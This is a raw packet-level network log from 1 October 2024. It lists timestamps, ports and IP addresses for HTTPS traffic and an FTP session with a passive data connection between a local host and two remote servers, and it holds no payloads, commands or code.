Oct 1, 2024 07:31:28.063134909 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063312054 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063410044 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.063415051 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063427925 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063502073 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.063508987 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063575029 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063641071 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.063647032 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063770056 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063843012 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063899994 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.063899994 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.063906908 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063946009 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.064245939 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.064291000 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.064312935 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.064317942 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.064337015 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.064374924 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.064382076 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.064448118 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.084086895 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.084172964 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.084193945 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.084244967 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.094083071 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:30.820378065 CEST	49706	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:30.825278997 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:30.826407909 CEST	49706	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:31.443440914 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:31.443697929 CEST	49706	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:31.448594093 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:31.663798094 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:31.663960934 CEST	49706	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:31.668778896 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:31.951602936 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:31.951843023 CEST	49706	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:31.956655025 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:32.171857119 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:32.172070980 CEST	49706	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:32.176824093 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:32.392071962 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:32.394761086 CEST	49706	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:32.399626017 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:32.614883900 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:32.618262053 CEST	49706	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:32.623303890 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:32.838507891 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:32.839288950 CEST	49707	63484	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:32.844130039 CEST	63484	49707	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:32.844284058 CEST	49707	63484	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:32.844326019 CEST	49706	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:32.849387884 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:33.459727049 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:33.460094929 CEST	49707	63484	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:33.460094929 CEST	49707	63484	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:33.464900017 CEST	63484	49707	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:33.465260983 CEST	63484	49707	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:33.465327024 CEST	49707	63484	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:33.507173061 CEST	49706	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:33.680572987 CEST	21	49706	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:33.725855112 CEST	49706	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:41.786953926 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:41.786988974 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:41.787081003 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:41.794106007 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:41.794121981 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.291261911 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.291407108 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.292821884 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.292835951 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.293073893 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.335236073 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.354573965 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.395406008 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.472955942 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.472965002 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.472979069 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.473063946 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.473078966 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.493941069 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.494008064 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.494016886 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.538355112 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.560305119 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.560313940 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.560347080 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.560378075 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.560398102 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.561147928 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.561155081 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.561204910 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.562130928 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.562139988 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.562195063 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.562227964 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.581329107 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.581337929 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.581401110 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.648977041 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.649074078 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.649225950 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.649282932 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.649869919 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.649947882 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.650115967 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.650171995 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.651119947 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.651204109 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.668951035 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.669043064 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.669066906 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.669075966 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.669099092 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.669116020 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.736114979 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.736191034 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.736670971 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.736727953 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.737266064 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.737354994 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.737591028 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.737673044 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.738312006 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.738373041 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.738400936 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.738467932 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.739365101 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.739448071 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.739456892 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.739526033 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.740243912 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.740305901 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.741082907 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.741168022 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.741174936 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.741245031 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.756692886 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.756755114 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.756758928 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.756772041 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.756864071 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.757179976 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.757303953 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.823666096 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.823755026 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.823858023 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.823915958 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.824202061 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.824275970 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.824424028 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.824554920 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.824708939 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.824764013 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.825177908 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.825232983 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.825248003 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.825318098 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.825799942 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.825839043 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.825877905 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.825881004 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.825889111 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.825898886 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.825956106 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.826833010 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.826874018 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.826895952 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.826901913 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.826925993 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.826931953 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.826989889 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.827004910 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.844234943 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.844317913 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.844326019 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.844412088 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.844481945 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.844489098 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.897703886 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.911277056 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.911339045 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.911370039 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.911375999 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.911411047 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.911427975 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.911626101 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.911691904 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.911861897 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.911940098 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.911941051 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.911952972 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.912002087 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.912239075 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.912317038 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.912559032 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.912650108 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.912651062 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.912661076 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.912734985 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.912734985 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.916268110 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.916337013 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.916443110 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.916507959 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.916626930 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.916711092 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.916826963 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.916882038 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.917083025 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.917162895 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.917176008 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.917234898 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.931786060 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.931850910 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.931930065 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.931986094 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.999285936 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.999357939 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.999391079 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.999398947 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.999474049 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.999536991 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.999587059 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.999629021 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.999634027 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.999634027 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.999640942 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.999696970 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.999763966 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.999805927 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.999854088 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.999854088 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:42.999859095 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.999869108 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:42.999922991 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.000009060 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.000092983 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.000194073 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.000266075 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.000272989 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.000286102 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.000350952 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.000536919 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.000593901 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.000602961 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.000608921 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.000644922 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.000665903 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.000732899 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.000782967 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.000811100 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.000883102 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.001416922 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.001610041 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.019500017 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.019572973 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.019679070 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.019730091 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.086464882 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.086508036 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.086559057 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.086570024 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.086591005 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.086646080 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.086718082 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.086771965 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.086853027 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.086911917 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.087013960 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.087076902 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.087140083 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.087199926 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.087368965 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.087476969 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.087485075 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.087589979 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.087594032 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.087600946 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.087646008 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.087812901 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.087878942 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.087959051 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.088027000 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.088063955 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.088125944 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.088249922 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.088306904 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.088408947 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.088459969 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.107141018 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.107192993 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.107209921 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.107225895 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.107290030 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.107290030 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.173971891 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.174043894 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.174046040 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.174056053 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.174139977 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.174211025 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.174302101 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.174531937 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.174593925 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.174618006 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.174665928 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.174674988 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.174679041 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.174726009 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.174937963 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.175012112 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.175040007 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.175044060 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.175055027 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.175060987 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.175147057 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.175179005 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.175262928 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.175379038 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.175429106 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.175513983 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.175617933 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.175683022 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.175770998 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.175803900 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.175810099 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.175838947 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.194549084 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.194617033 CEST	49710	443	192.168.2.8	67.212.175.162
